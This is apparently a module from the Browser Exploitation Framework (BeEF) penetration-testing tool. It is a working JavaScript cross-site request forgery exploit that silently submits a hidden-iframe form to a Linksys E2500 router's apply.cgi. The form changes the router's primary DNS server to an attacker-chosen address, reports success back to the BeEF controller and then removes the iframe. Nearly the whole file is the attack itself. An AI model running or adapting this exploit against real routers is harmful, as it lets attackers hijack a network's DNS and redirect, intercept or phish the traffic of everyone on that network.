//
// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//

beef.execute(function() {

	// config
	var target  = 'http://<%= @rhost %>/apply.cgi';
	var dns1    = '<%= @dns1 %>';
	var timeout = 15;

	// validate primary DNS server IP address
	if (!beef.net.is_valid_ip(dns1)) {
		beef.debug('Invalid Primary DNS server IP address was provided');
		beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
		return;
	}
	var parts = dns1.split('.');

	// change DNS
	var linksys_e2500_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [
                {'type':'hidden', 'name':'submit_button', 'value': 'index'},
                {'type':'hidden', 'name':'change_action', 'value': ''},
                {'type':'hidden', 'name':'submit_type', 'value': ''},
				{'type':'hidden', 'name':'action', 'value': 'Apply'},
				{'type':'hidden', 'name':'wan_dns', 'value': '4'},
				{'type':'hidden', 'name':'wan_dns0_0', 'value': parts[0]},
				{'type':'hidden', 'name':'wan_dns0_1', 'value': parts[1]},
				{'type':'hidden', 'name':'wan_dns0_2', 'value': parts[2]},
				{'type':'hidden', 'name':'wan_dns0_3', 'value': parts[3]},
				{'type':'hidden', 'name':'wan_dns1_0', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns1_1', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns1_2', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns1_3', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns2_0', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns2_1', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns2_2', 'value': '0'},
				{'type':'hidden', 'name':'wan_dns2_3', 'value': '0'},
				{'type':'hidden', 'name':'wan_wins', 'value': '4'},
				{'type':'hidden', 'name':'wan_wins_0', 'value': '0'},
				{'type':'hidden', 'name':'wan_wins_1', 'value': '0'},
				{'type':'hidden', 'name':'wan_wins_2', 'value': '0'},
				{'type':'hidden', 'name':'wan_wins_3', 'value': '0'},

	]);

	beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");

	// clean up
	cleanup = function() {
		document.body.removeChild(linksys_e2500_iframe_<%= @command_id %>);
	}
	setTimeout("cleanup()", timeout*1000);

});

